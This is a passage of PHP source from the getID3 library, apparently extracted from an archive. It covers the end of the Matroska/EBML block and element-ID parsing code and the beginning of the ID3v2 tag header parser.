& 0x06) >> 1); // 00=no lacing; 01=Xiph lacing; 11=EBML lacing; 10=fixed-size lacing if ($block_type == EBML_ID_CLUSTERSIMPLEBLOCK) { $block_data['flags']['discardable'] = (($block_data['flags_raw'] & 0x01)); } else { //$block_data['flags']['reserved2'] = (($block_data['flags_raw'] & 0x01) >> 0); } $block_data['flags']['lacing_type'] = self::BlockLacingType($block_data['flags']['lacing']); // Lace (when lacing bit is set) if ($block_data['flags']['lacing'] > 0) { $block_data['lace_frames'] = getid3_lib::BigEndian2Int($this->readEBMLelementData(1)) + 1; // Number of frames in the lace-1 (uint8) if ($block_data['flags']['lacing'] != 0x02) { for ($i = 1; $i < $block_data['lace_frames']; $i ++) { // Lace-coded size of each frame of the lace, except for the last one (multiple uint8). *This is not used with Fixed-size lacing as it is calculated automatically from (total size of lace) / (number of frames in lace). if ($block_data['flags']['lacing'] == 0x03) { // EBML lacing $block_data['lace_frames_size'][$i] = $this->readEBMLint(); // TODO: read size correctly, calc size for the last frame. For now offsets are deteminded OK with readEBMLint() and that's the most important thing. } else { // Xiph lacing $block_data['lace_frames_size'][$i] = 0; do { $size = getid3_lib::BigEndian2Int($this->readEBMLelementData(1)); $block_data['lace_frames_size'][$i] += $size; } while ($size == 255); } } if ($block_data['flags']['lacing'] == 0x01) { // calc size of the last frame only for Xiph lacing, till EBML sizes are now anyway determined incorrectly $block_data['lace_frames_size'][] = $element['end'] - $this->current_offset - array_sum($block_data['lace_frames_size']); } } } if (!isset($info['matroska']['track_data_offsets'][$block_data['tracknumber']])) { $info['matroska']['track_data_offsets'][$block_data['tracknumber']]['offset'] = $this->current_offset; $info['matroska']['track_data_offsets'][$block_data['tracknumber']]['length'] = $element['end'] - $this->current_offset; //$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['total_length'] = 0; } //$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['total_length'] += $info['matroska']['track_data_offsets'][$block_data['tracknumber']]['length']; //$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['duration'] = $block_data['timecode'] * ((isset($info['matroska']['info'][0]['TimecodeScale']) ? $info['matroska']['info'][0]['TimecodeScale'] : 1000000) / 1000000000); // set offset manually $this->current_offset = $element['end']; return $block_data; } /** * @param string $EBMLstring * * @return int|float|false */ private static function EBML2Int($EBMLstring) { // http://matroska.org/specs/ // Element ID coded with an UTF-8 like system: // 1xxx xxxx - Class A IDs (2^7 -2 possible values) (base 0x8X) // 01xx xxxx xxxx xxxx - Class B IDs (2^14-2 possible values) (base 0x4X 0xXX) // 001x xxxx xxxx xxxx xxxx xxxx - Class C IDs (2^21-2 possible values) (base 0x2X 0xXX 0xXX) // 0001 xxxx xxxx xxxx xxxx xxxx xxxx xxxx - Class D IDs (2^28-2 possible values) (base 0x1X 0xXX 0xXX 0xXX) // Values with all x at 0 and 1 are reserved (hence the -2). // Data size, in octets, is also coded with an UTF-8 like system : // 1xxx xxxx - value 0 to 2^7-2 // 01xx xxxx xxxx xxxx - value 0 to 2^14-2 // 001x xxxx xxxx xxxx xxxx xxxx - value 0 to 2^21-2 // 0001 xxxx xxxx xxxx xxxx xxxx xxxx xxxx - value 0 to 2^28-2 // 0000 1xxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx - value 0 to 2^35-2 // 0000 01xx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx - value 0 to 2^42-2 // 0000 001x xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx - value 0 to 2^49-2 // 0000 0001 xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx - value 0 to 2^56-2 $first_byte_int = ord($EBMLstring[0]); if (0x80 & $first_byte_int) { $EBMLstring[0] = chr($first_byte_int & 0x7F); } elseif (0x40 & $first_byte_int) { $EBMLstring[0] = chr($first_byte_int & 0x3F); } elseif (0x20 & $first_byte_int) { $EBMLstring[0] = chr($first_byte_int & 0x1F); } elseif (0x10 & $first_byte_int) { $EBMLstring[0] = chr($first_byte_int & 0x0F); } elseif (0x08 & $first_byte_int) { $EBMLstring[0] = chr($first_byte_int & 0x07); } elseif (0x04 & $first_byte_int) { $EBMLstring[0] = chr($first_byte_int & 0x03); } elseif (0x02 & $first_byte_int) { $EBMLstring[0] = chr($first_byte_int & 0x01); } elseif (0x01 & $first_byte_int) { $EBMLstring[0] = chr($first_byte_int & 0x00); } return getid3_lib::BigEndian2Int($EBMLstring); } /** * @param int $EBMLdatestamp * * @return float */ private static function EBMLdate2unix($EBMLdatestamp) { // Date - signed 8 octets integer in nanoseconds with 0 indicating the precise beginning of the millennium (at 2001-01-01T00:00:00,000000000 UTC) // 978307200 == mktime(0, 0, 0, 1, 1, 2001) == January 1, 2001 12:00:00am UTC return round(($EBMLdatestamp / 1000000000) + 978307200); } /** * @param int $target_type * * @return string|int */ public static function TargetTypeValue($target_type) { // http://www.matroska.org/technical/specs/tagging/index.html static $TargetTypeValue = array(); if (empty($TargetTypeValue)) { $TargetTypeValue[10] = 'A: ~ V:shot'; // the lowest hierarchy found in music or movies $TargetTypeValue[20] = 'A:subtrack/part/movement ~ V:scene'; // corresponds to parts of a track for audio (like a movement) $TargetTypeValue[30] = 'A:track/song ~ V:chapter'; // the common parts of an album or a movie $TargetTypeValue[40] = 'A:part/session ~ V:part/session'; // when an album or episode has different logical parts $TargetTypeValue[50] = 'A:album/opera/concert ~ V:movie/episode/concert'; // the most common grouping level of music and video (equals to an episode for TV series) $TargetTypeValue[60] = 'A:edition/issue/volume/opus ~ V:season/sequel/volume'; // a list of lower levels grouped together $TargetTypeValue[70] = 'A:collection ~ V:collection'; // the high hierarchy consisting of many different lower items } return (isset($TargetTypeValue[$target_type]) ? $TargetTypeValue[$target_type] : $target_type); } /** * @param int $lacingtype * * @return string|int */ public static function BlockLacingType($lacingtype) { // http://matroska.org/technical/specs/index.html#block_structure static $BlockLacingType = array(); if (empty($BlockLacingType)) { $BlockLacingType[0x00] = 'no lacing'; $BlockLacingType[0x01] = 'Xiph lacing'; $BlockLacingType[0x02] = 'fixed-size lacing'; $BlockLacingType[0x03] = 'EBML lacing'; } return (isset($BlockLacingType[$lacingtype]) ? $BlockLacingType[$lacingtype] : $lacingtype); } /** * @param string $codecid * * @return string */ public static function CodecIDtoCommonName($codecid) { // http://www.matroska.org/technical/specs/codecid/index.html static $CodecIDlist = array(); if (empty($CodecIDlist)) { $CodecIDlist['A_AAC'] = 'aac'; $CodecIDlist['A_AAC/MPEG2/LC'] = 'aac'; $CodecIDlist['A_AC3'] = 'ac3'; $CodecIDlist['A_EAC3'] = 'eac3'; $CodecIDlist['A_DTS'] = 'dts'; $CodecIDlist['A_FLAC'] = 'flac'; $CodecIDlist['A_MPEG/L1'] = 'mp1'; $CodecIDlist['A_MPEG/L2'] = 'mp2'; $CodecIDlist['A_MPEG/L3'] = 'mp3'; $CodecIDlist['A_PCM/INT/LIT'] = 'pcm'; // PCM Integer Little Endian $CodecIDlist['A_PCM/INT/BIG'] = 'pcm'; // PCM Integer Big Endian $CodecIDlist['A_QUICKTIME/QDMC'] = 'quicktime'; // Quicktime: QDesign Music $CodecIDlist['A_QUICKTIME/QDM2'] = 'quicktime'; // Quicktime: QDesign Music v2 $CodecIDlist['A_VORBIS'] = 'vorbis'; $CodecIDlist['V_MPEG1'] = 'mpeg'; $CodecIDlist['V_THEORA'] = 'theora'; $CodecIDlist['V_REAL/RV40'] = 'real'; $CodecIDlist['V_REAL/RV10'] = 'real'; $CodecIDlist['V_REAL/RV20'] = 'real'; $CodecIDlist['V_REAL/RV30'] = 'real'; $CodecIDlist['V_QUICKTIME'] = 'quicktime'; // Quicktime $CodecIDlist['V_MPEG4/ISO/AP'] = 'mpeg4'; $CodecIDlist['V_MPEG4/ISO/ASP'] = 'mpeg4'; $CodecIDlist['V_MPEG4/ISO/AVC'] = 'h264'; $CodecIDlist['V_MPEG4/ISO/SP'] = 'mpeg4'; $CodecIDlist['V_VP8'] = 'vp8'; $CodecIDlist['V_MS/VFW/FOURCC'] = 'vcm'; // Microsoft (TM) Video Codec Manager (VCM) $CodecIDlist['A_MS/ACM'] = 'acm'; // Microsoft (TM) Audio Codec Manager (ACM) } return (isset($CodecIDlist[$codecid]) ? $CodecIDlist[$codecid] : $codecid); } /** * @param int $value * * @return string */ private static function EBMLidName($value) { static $EBMLidList = array(); if (empty($EBMLidList)) { $EBMLidList[EBML_ID_ASPECTRATIOTYPE] = 'AspectRatioType'; $EBMLidList[EBML_ID_ATTACHEDFILE] = 'AttachedFile'; $EBMLidList[EBML_ID_ATTACHMENTLINK] = 'AttachmentLink'; $EBMLidList[EBML_ID_ATTACHMENTS] = 'Attachments'; $EBMLidList[EBML_ID_AUDIO] = 'Audio'; $EBMLidList[EBML_ID_BITDEPTH] = 'BitDepth'; $EBMLidList[EBML_ID_CHANNELPOSITIONS] = 'ChannelPositions'; $EBMLidList[EBML_ID_CHANNELS] = 'Channels'; $EBMLidList[EBML_ID_CHAPCOUNTRY] = 'ChapCountry'; $EBMLidList[EBML_ID_CHAPLANGUAGE] = 'ChapLanguage'; $EBMLidList[EBML_ID_CHAPPROCESS] = 'ChapProcess'; $EBMLidList[EBML_ID_CHAPPROCESSCODECID] = 'ChapProcessCodecID'; $EBMLidList[EBML_ID_CHAPPROCESSCOMMAND] = 'ChapProcessCommand'; $EBMLidList[EBML_ID_CHAPPROCESSDATA] = 'ChapProcessData'; $EBMLidList[EBML_ID_CHAPPROCESSPRIVATE] = 'ChapProcessPrivate'; $EBMLidList[EBML_ID_CHAPPROCESSTIME] = 'ChapProcessTime'; $EBMLidList[EBML_ID_CHAPSTRING] = 'ChapString'; $EBMLidList[EBML_ID_CHAPTERATOM] = 'ChapterAtom'; $EBMLidList[EBML_ID_CHAPTERDISPLAY] = 'ChapterDisplay'; $EBMLidList[EBML_ID_CHAPTERFLAGENABLED] = 'ChapterFlagEnabled'; $EBMLidList[EBML_ID_CHAPTERFLAGHIDDEN] = 'ChapterFlagHidden'; $EBMLidList[EBML_ID_CHAPTERPHYSICALEQUIV] = 'ChapterPhysicalEquiv'; $EBMLidList[EBML_ID_CHAPTERS] = 'Chapters'; $EBMLidList[EBML_ID_CHAPTERSEGMENTEDITIONUID] = 'ChapterSegmentEditionUID'; $EBMLidList[EBML_ID_CHAPTERSEGMENTUID] = 'ChapterSegmentUID'; $EBMLidList[EBML_ID_CHAPTERTIMEEND] = 'ChapterTimeEnd'; $EBMLidList[EBML_ID_CHAPTERTIMESTART] = 'ChapterTimeStart'; $EBMLidList[EBML_ID_CHAPTERTRACK] = 'ChapterTrack'; $EBMLidList[EBML_ID_CHAPTERTRACKNUMBER] = 'ChapterTrackNumber'; $EBMLidList[EBML_ID_CHAPTERTRANSLATE] = 'ChapterTranslate'; $EBMLidList[EBML_ID_CHAPTERTRANSLATECODEC] = 'ChapterTranslateCodec'; $EBMLidList[EBML_ID_CHAPTERTRANSLATEEDITIONUID] = 'ChapterTranslateEditionUID'; $EBMLidList[EBML_ID_CHAPTERTRANSLATEID] = 'ChapterTranslateID'; $EBMLidList[EBML_ID_CHAPTERUID] = 'ChapterUID'; $EBMLidList[EBML_ID_CLUSTER] = 'Cluster'; $EBMLidList[EBML_ID_CLUSTERBLOCK] = 'ClusterBlock'; $EBMLidList[EBML_ID_CLUSTERBLOCKADDID] = 'ClusterBlockAddID'; $EBMLidList[EBML_ID_CLUSTERBLOCKADDITIONAL] = 'ClusterBlockAdditional'; $EBMLidList[EBML_ID_CLUSTERBLOCKADDITIONID] = 'ClusterBlockAdditionID'; $EBMLidList[EBML_ID_CLUSTERBLOCKADDITIONS] = 'ClusterBlockAdditions'; $EBMLidList[EBML_ID_CLUSTERBLOCKDURATION] = 'ClusterBlockDuration'; $EBMLidList[EBML_ID_CLUSTERBLOCKGROUP] = 'ClusterBlockGroup'; $EBMLidList[EBML_ID_CLUSTERBLOCKMORE] = 'ClusterBlockMore'; $EBMLidList[EBML_ID_CLUSTERBLOCKVIRTUAL] = 'ClusterBlockVirtual'; $EBMLidList[EBML_ID_CLUSTERCODECSTATE] = 'ClusterCodecState'; $EBMLidList[EBML_ID_CLUSTERDELAY] = 'ClusterDelay'; $EBMLidList[EBML_ID_CLUSTERDURATION] = 'ClusterDuration'; $EBMLidList[EBML_ID_CLUSTERENCRYPTEDBLOCK] = 'ClusterEncryptedBlock'; $EBMLidList[EBML_ID_CLUSTERFRAMENUMBER] = 'ClusterFrameNumber'; $EBMLidList[EBML_ID_CLUSTERLACENUMBER] = 'ClusterLaceNumber'; $EBMLidList[EBML_ID_CLUSTERPOSITION] = 'ClusterPosition'; $EBMLidList[EBML_ID_CLUSTERPREVSIZE] = 'ClusterPrevSize'; $EBMLidList[EBML_ID_CLUSTERREFERENCEBLOCK] = 'ClusterReferenceBlock'; $EBMLidList[EBML_ID_CLUSTERREFERENCEPRIORITY] = 'ClusterReferencePriority'; $EBMLidList[EBML_ID_CLUSTERREFERENCEVIRTUAL] = 'ClusterReferenceVirtual'; $EBMLidList[EBML_ID_CLUSTERSILENTTRACKNUMBER] = 'ClusterSilentTrackNumber'; $EBMLidList[EBML_ID_CLUSTERSILENTTRACKS] = 'ClusterSilentTracks'; $EBMLidList[EBML_ID_CLUSTERSIMPLEBLOCK] = 'ClusterSimpleBlock'; $EBMLidList[EBML_ID_CLUSTERTIMECODE] = 'ClusterTimecode'; $EBMLidList[EBML_ID_CLUSTERTIMESLICE] = 'ClusterTimeSlice'; $EBMLidList[EBML_ID_CODECDECODEALL] = 'CodecDecodeAll'; $EBMLidList[EBML_ID_CODECDOWNLOADURL] = 'CodecDownloadURL'; $EBMLidList[EBML_ID_CODECID] = 'CodecID'; $EBMLidList[EBML_ID_CODECINFOURL] = 'CodecInfoURL'; $EBMLidList[EBML_ID_CODECNAME] = 'CodecName'; $EBMLidList[EBML_ID_CODECPRIVATE] = 'CodecPrivate'; $EBMLidList[EBML_ID_CODECSETTINGS] = 'CodecSettings'; $EBMLidList[EBML_ID_COLOURSPACE] = 'ColourSpace'; $EBMLidList[EBML_ID_CONTENTCOMPALGO] = 'ContentCompAlgo'; $EBMLidList[EBML_ID_CONTENTCOMPRESSION] = 'ContentCompression'; $EBMLidList[EBML_ID_CONTENTCOMPSETTINGS] = 'ContentCompSettings'; $EBMLidList[EBML_ID_CONTENTENCALGO] = 'ContentEncAlgo'; $EBMLidList[EBML_ID_CONTENTENCKEYID] = 'ContentEncKeyID'; $EBMLidList[EBML_ID_CONTENTENCODING] = 'ContentEncoding'; $EBMLidList[EBML_ID_CONTENTENCODINGORDER] = 'ContentEncodingOrder'; $EBMLidList[EBML_ID_CONTENTENCODINGS] = 'ContentEncodings'; $EBMLidList[EBML_ID_CONTENTENCODINGSCOPE] = 'ContentEncodingScope'; $EBMLidList[EBML_ID_CONTENTENCODINGTYPE] = 'ContentEncodingType'; $EBMLidList[EBML_ID_CONTENTENCRYPTION] = 'ContentEncryption'; $EBMLidList[EBML_ID_CONTENTSIGALGO] = 'ContentSigAlgo'; $EBMLidList[EBML_ID_CONTENTSIGHASHALGO] = 'ContentSigHashAlgo'; $EBMLidList[EBML_ID_CONTENTSIGKEYID] = 'ContentSigKeyID'; $EBMLidList[EBML_ID_CONTENTSIGNATURE] = 'ContentSignature'; $EBMLidList[EBML_ID_CRC32] = 'CRC32'; $EBMLidList[EBML_ID_CUEBLOCKNUMBER] = 'CueBlockNumber'; $EBMLidList[EBML_ID_CUECLUSTERPOSITION] = 'CueClusterPosition'; $EBMLidList[EBML_ID_CUECODECSTATE] = 'CueCodecState'; $EBMLidList[EBML_ID_CUEPOINT] = 'CuePoint'; $EBMLidList[EBML_ID_CUEREFCLUSTER] = 'CueRefCluster'; $EBMLidList[EBML_ID_CUEREFCODECSTATE] = 'CueRefCodecState'; $EBMLidList[EBML_ID_CUEREFERENCE] = 'CueReference'; $EBMLidList[EBML_ID_CUEREFNUMBER] = 'CueRefNumber'; $EBMLidList[EBML_ID_CUEREFTIME] = 'CueRefTime'; $EBMLidList[EBML_ID_CUES] = 'Cues'; $EBMLidList[EBML_ID_CUETIME] = 'CueTime'; $EBMLidList[EBML_ID_CUETRACK] = 'CueTrack'; $EBMLidList[EBML_ID_CUETRACKPOSITIONS] = 'CueTrackPositions'; $EBMLidList[EBML_ID_DATEUTC] = 'DateUTC'; $EBMLidList[EBML_ID_DEFAULTDURATION] = 'DefaultDuration'; $EBMLidList[EBML_ID_DISPLAYHEIGHT] = 'DisplayHeight'; $EBMLidList[EBML_ID_DISPLAYUNIT] = 'DisplayUnit'; $EBMLidList[EBML_ID_DISPLAYWIDTH] = 'DisplayWidth'; $EBMLidList[EBML_ID_DOCTYPE] = 'DocType'; $EBMLidList[EBML_ID_DOCTYPEREADVERSION] = 'DocTypeReadVersion'; $EBMLidList[EBML_ID_DOCTYPEVERSION] = 'DocTypeVersion'; $EBMLidList[EBML_ID_DURATION] = 'Duration'; $EBMLidList[EBML_ID_EBML] = 'EBML'; $EBMLidList[EBML_ID_EBMLMAXIDLENGTH] = 'EBMLMaxIDLength'; $EBMLidList[EBML_ID_EBMLMAXSIZELENGTH] = 'EBMLMaxSizeLength'; $EBMLidList[EBML_ID_EBMLREADVERSION] = 'EBMLReadVersion'; $EBMLidList[EBML_ID_EBMLVERSION] = 'EBMLVersion'; $EBMLidList[EBML_ID_EDITIONENTRY] = 'EditionEntry'; $EBMLidList[EBML_ID_EDITIONFLAGDEFAULT] = 'EditionFlagDefault'; $EBMLidList[EBML_ID_EDITIONFLAGHIDDEN] = 'EditionFlagHidden'; $EBMLidList[EBML_ID_EDITIONFLAGORDERED] = 'EditionFlagOrdered'; $EBMLidList[EBML_ID_EDITIONUID] = 'EditionUID'; $EBMLidList[EBML_ID_FILEDATA] = 'FileData'; $EBMLidList[EBML_ID_FILEDESCRIPTION] = 'FileDescription'; $EBMLidList[EBML_ID_FILEMIMETYPE] = 'FileMimeType'; $EBMLidList[EBML_ID_FILENAME] = 'FileName'; $EBMLidList[EBML_ID_FILEREFERRAL] = 'FileReferral'; $EBMLidList[EBML_ID_FILEUID] = 'FileUID'; $EBMLidList[EBML_ID_FLAGDEFAULT] = 'FlagDefault'; $EBMLidList[EBML_ID_FLAGENABLED] = 'FlagEnabled'; $EBMLidList[EBML_ID_FLAGFORCED] = 'FlagForced'; $EBMLidList[EBML_ID_FLAGINTERLACED] = 'FlagInterlaced'; $EBMLidList[EBML_ID_FLAGLACING] = 'FlagLacing'; $EBMLidList[EBML_ID_GAMMAVALUE] = 'GammaValue'; $EBMLidList[EBML_ID_INFO] = 'Info'; $EBMLidList[EBML_ID_LANGUAGE] = 'Language'; $EBMLidList[EBML_ID_MAXBLOCKADDITIONID] = 'MaxBlockAdditionID'; $EBMLidList[EBML_ID_MAXCACHE] = 'MaxCache'; $EBMLidList[EBML_ID_MINCACHE] = 'MinCache'; $EBMLidList[EBML_ID_MUXINGAPP] = 'MuxingApp'; $EBMLidList[EBML_ID_NAME] = 'Name'; $EBMLidList[EBML_ID_NEXTFILENAME] = 'NextFilename'; $EBMLidList[EBML_ID_NEXTUID] = 'NextUID'; $EBMLidList[EBML_ID_OUTPUTSAMPLINGFREQUENCY] = 'OutputSamplingFrequency'; $EBMLidList[EBML_ID_PIXELCROPBOTTOM] = 'PixelCropBottom'; $EBMLidList[EBML_ID_PIXELCROPLEFT] = 'PixelCropLeft'; $EBMLidList[EBML_ID_PIXELCROPRIGHT] = 'PixelCropRight'; $EBMLidList[EBML_ID_PIXELCROPTOP] = 'PixelCropTop'; $EBMLidList[EBML_ID_PIXELHEIGHT] = 'PixelHeight'; $EBMLidList[EBML_ID_PIXELWIDTH] = 'PixelWidth'; $EBMLidList[EBML_ID_PREVFILENAME] = 'PrevFilename'; $EBMLidList[EBML_ID_PREVUID] = 'PrevUID'; $EBMLidList[EBML_ID_SAMPLINGFREQUENCY] = 'SamplingFrequency'; $EBMLidList[EBML_ID_SEEK] = 'Seek'; $EBMLidList[EBML_ID_SEEKHEAD] = 'SeekHead'; $EBMLidList[EBML_ID_SEEKID] = 'SeekID'; $EBMLidList[EBML_ID_SEEKPOSITION] = 'SeekPosition'; $EBMLidList[EBML_ID_SEGMENT] = 'Segment'; $EBMLidList[EBML_ID_SEGMENTFAMILY] = 'SegmentFamily'; $EBMLidList[EBML_ID_SEGMENTFILENAME] = 'SegmentFilename'; $EBMLidList[EBML_ID_SEGMENTUID] = 'SegmentUID'; $EBMLidList[EBML_ID_SIMPLETAG] = 'SimpleTag'; $EBMLidList[EBML_ID_CLUSTERSLICES] = 'ClusterSlices'; $EBMLidList[EBML_ID_STEREOMODE] = 'StereoMode'; $EBMLidList[EBML_ID_OLDSTEREOMODE] = 'OldStereoMode'; $EBMLidList[EBML_ID_TAG] = 'Tag'; $EBMLidList[EBML_ID_TAGATTACHMENTUID] = 'TagAttachmentUID'; $EBMLidList[EBML_ID_TAGBINARY] = 'TagBinary'; $EBMLidList[EBML_ID_TAGCHAPTERUID] = 'TagChapterUID'; $EBMLidList[EBML_ID_TAGDEFAULT] = 'TagDefault'; $EBMLidList[EBML_ID_TAGEDITIONUID] = 'TagEditionUID'; $EBMLidList[EBML_ID_TAGLANGUAGE] = 'TagLanguage'; $EBMLidList[EBML_ID_TAGNAME] = 'TagName'; $EBMLidList[EBML_ID_TAGTRACKUID] = 'TagTrackUID'; $EBMLidList[EBML_ID_TAGS] = 'Tags'; $EBMLidList[EBML_ID_TAGSTRING] = 'TagString'; $EBMLidList[EBML_ID_TARGETS] = 'Targets'; $EBMLidList[EBML_ID_TARGETTYPE] = 'TargetType'; $EBMLidList[EBML_ID_TARGETTYPEVALUE] = 'TargetTypeValue'; $EBMLidList[EBML_ID_TIMECODESCALE] = 'TimecodeScale'; $EBMLidList[EBML_ID_TITLE] = 'Title'; $EBMLidList[EBML_ID_TRACKENTRY] = 'TrackEntry'; $EBMLidList[EBML_ID_TRACKNUMBER] = 'TrackNumber'; $EBMLidList[EBML_ID_TRACKOFFSET] = 'TrackOffset'; $EBMLidList[EBML_ID_TRACKOVERLAY] = 'TrackOverlay'; $EBMLidList[EBML_ID_TRACKS] = 'Tracks'; $EBMLidList[EBML_ID_TRACKTIMECODESCALE] = 'TrackTimecodeScale'; $EBMLidList[EBML_ID_TRACKTRANSLATE] = 'TrackTranslate'; $EBMLidList[EBML_ID_TRACKTRANSLATECODEC] = 'TrackTranslateCodec'; $EBMLidList[EBML_ID_TRACKTRANSLATEEDITIONUID] = 'TrackTranslateEditionUID'; $EBMLidList[EBML_ID_TRACKTRANSLATETRACKID] = 'TrackTranslateTrackID'; $EBMLidList[EBML_ID_TRACKTYPE] = 'TrackType'; $EBMLidList[EBML_ID_TRACKUID] = 'TrackUID'; $EBMLidList[EBML_ID_VIDEO] = 'Video'; $EBMLidList[EBML_ID_VOID] = 'Void'; $EBMLidList[EBML_ID_WRITINGAPP] = 'WritingApp'; } return (isset($EBMLidList[$value]) ? $EBMLidList[$value] : dechex($value)); } /** * @param int $value * * @return string */ public static function displayUnit($value) { // http://www.matroska.org/technical/specs/index.html#DisplayUnit static $units = array( 0 => 'pixels', 1 => 'centimeters', 2 => 'inches', 3 => 'Display Aspect Ratio'); return (isset($units[$value]) ? $units[$value] : 'unknown'); } /** * @param array $streams * * @return array */ private static function getDefaultStreamInfo($streams) { $stream = array(); foreach (array_reverse($streams) as $stream) { if ($stream['default']) { break; } } $unset = array('default', 'name'); foreach ($unset as $u) { if (isset($stream[$u])) { unset($stream[$u]); } } $info = $stream; $info['streams'] = $streams; return $info; } } PKm"[3u\u\module.tag.id3v2.phpnu[ // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // see readme.txt for more details // ///////////////////////////////////////////////////////////////// /// // // module.tag.id3v2.php // // module for analyzing ID3v2 tags // // dependencies: module.tag.id3v1.php // // /// ///////////////////////////////////////////////////////////////// if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers exit; } getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v1.php', __FILE__, true); class getid3_id3v2 extends getid3_handler { public $StartingOffset = 0; /** * @return bool */ public function Analyze() { $info = &$this->getid3->info; // Overall tag structure: // +-----------------------------+ // | Header (10 bytes) | // +-----------------------------+ // | Extended Header | // | (variable length, OPTIONAL) | // +-----------------------------+ // | Frames (variable length) | // +-----------------------------+ // | Padding | // | (variable length, OPTIONAL) | // +-----------------------------+ // | Footer (10 bytes, OPTIONAL) | // +-----------------------------+ // Header // ID3v2/file identifier "ID3" // ID3v2 version $04 00 // ID3v2 flags (%ab000000 in v2.2, %abc00000 in v2.3, %abcd0000 in v2.4.x) // ID3v2 size 4 * %0xxxxxxx // shortcuts $info['id3v2']['header'] = true; $thisfile_id3v2 = &$info['id3v2']; $thisfile_id3v2['flags'] = array(); $thisfile_id3v2_flags = &$thisfile_id3v2['flags']; $this->fseek($this->StartingOffset); $header = $this->fread(10); if (substr($header, 0, 3) == 'ID3' && strlen($header) == 10) { $thisfile_id3v2['majorversion'] = ord($header[3]); $thisfile_id3v2['minorversion'] = ord($header[4]); // shortcut $id3v2_majorversion = &$thisfile_id3v2['majorversion']; } else { unset($info['id3v2']); return false; } if ($id3v2_majorversion > 4) { // this script probably won't correctly parse ID3v2.5.x and above (if it ever exists) $this->error('this script only parses up to ID3v2.4.x - this tag is ID3v2.'.$id3v2_majorversion.'.'.$thisfile_id3v2['minorversion']); return false; } $id3_flags = ord($header[5]); switch ($id3v2_majorversion) { case 2: // %ab000000 in v2.2 $thisfile_id3v2_flags['unsynch'] = (bool) ($id3_flags & 0x80); // a - Unsynchronisation $thisfile_id3v2_flags['compression'] = (bool) ($id3_flags & 0x40); // b - Compression break; case 3: // %abc00000 in v2.3 $thisfile_id3v2_flags['unsynch'] = (bool) ($id3_flags & 0x80); // a - Unsynchronisation $thisfile_id3v2_flags['exthead'] = (bool) ($id3_flags & 0x40); // b - Extended header $thisfile_id3v2_flags['experim'] = (bool) ($id3_flags & 0x20); // c - Experimental indicator break; case 4: // %abcd0000 in v2.4 $thisfile_id3v2_flags['unsynch'] = (bool) ($id3_flags & 0x80); // a - Unsynchronisation $thisfile_id3v2_flags['exthead'] = (bool) ($id3_flags & 0x40); // b - Extended header $thisfile_id3v2_flags['experim'] = (bool) ($id3_flags & 0x20); // c - Experimental indicator $thisfile_id3v2_flags['isfooter'] = (bool) ($id3_flags & 0x10); // d - Footer present break; } $thisfile_id3v2['headerlength'] = getid3_lib::BigEndian2Int(substr($header, 6, 4), 1) + 10; // length of ID3v2 tag in 10-byte header doesn't include 10-byte header length $thisfile_id3v2['tag_offset_start'] = $this->StartingOffset; $thisfile_id3v2['tag_offset_end'] = $thisfile_id3v2['tag_offset_start'] + $thisfile_id3v2['headerlength']; // create 'encoding' key - used by getid3::HandleAllTags() // in ID3v2 every field can have it's own encoding type // so force everything to UTF-8 so it can be handled consistantly $thisfile_id3v2['encoding'] = 'UTF-8'; // Frames // All ID3v2 frames consists of one frame header followed by one or more // fields containing the actual information. The header is always 10 // bytes and laid out as follows: // // Frame ID $xx xx xx xx (four characters) // Size 4 * %0xxxxxxx // Flags $xx xx $sizeofframes = $thisfile_id3v2['headerlength'] - 10; // not including 10-byte initial header if (!empty($thisfile_id3v2['exthead']['length'])) { $sizeofframes -= ($thisfile_id3v2['exthead']['length'] + 4); } if (!empty($thisfile_id3v2_flags['isfooter'])) { $sizeofframes -= 10; // footer takes last 10 bytes of ID3v2 header, after frame data, before audio } if ($sizeofframes > 0) { $framedata = $this->fread($sizeofframes); // read all frames from file into $framedata variable // if entire frame data is unsynched, de-unsynch it now (ID3v2.3.x) if (!empty($thisfile_id3v2_flags['unsynch']) && ($id3v2_majorversion <= 3)) { $framedata = $this->DeUnsynchronise($framedata); } // [in ID3v2.4.0] Unsynchronisation [S:6.1] is done on frame level, instead // of on tag level, making it easier to skip frames, increasing the streamability // of the tag. The unsynchronisation flag in the header [S:3.1] indicates that // there exists an unsynchronised frame, while the new unsynchronisation flag in // the frame header [S:4.1.2] indicates unsynchronisation. //$framedataoffset = 10 + ($thisfile_id3v2['exthead']['length'] ? $thisfile_id3v2['exthead']['length'] + 4 : 0); // how many bytes into the stream - start from after the 10-byte header (and extended header length+4, if present) $framedataoffset = 10; // how many bytes into the stream - start from after the 10-byte header // Extended Header if (!empty($thisfile_id3v2_flags['exthead'])) { $extended_header_offset = 0; if ($id3v2_majorversion == 3) { // v2.3 definition: //Extended header size $xx xx xx xx // 32-bit integer //Extended Flags $xx xx // %x0000000 %00000000 // v2.3 // x - CRC data present //Size of padding $xx xx xx xx $thisfile_id3v2['exthead']['length'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4), 0); $extended_header_offset += 4; $thisfile_id3v2['exthead']['flag_bytes'] = 2; $thisfile_id3v2['exthead']['flag_raw'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, $thisfile_id3v2['exthead']['flag_bytes'])); $extended_header_offset += $thisfile_id3v2['exthead']['flag_bytes']; $thisfile_id3v2['exthead']['flags']['crc'] = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x8000); $thisfile_id3v2['exthead']['padding_size'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4)); $extended_header_offset += 4; if ($thisfile_id3v2['exthead']['flags']['crc']) { $thisfile_id3v2['exthead']['flag_data']['crc'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4)); $extended_header_offset += 4; } $extended_header_offset += $thisfile_id3v2['exthead']['padding_size']; } elseif ($id3v2_majorversion == 4) { // v2.4 definition: //Extended header size 4 * 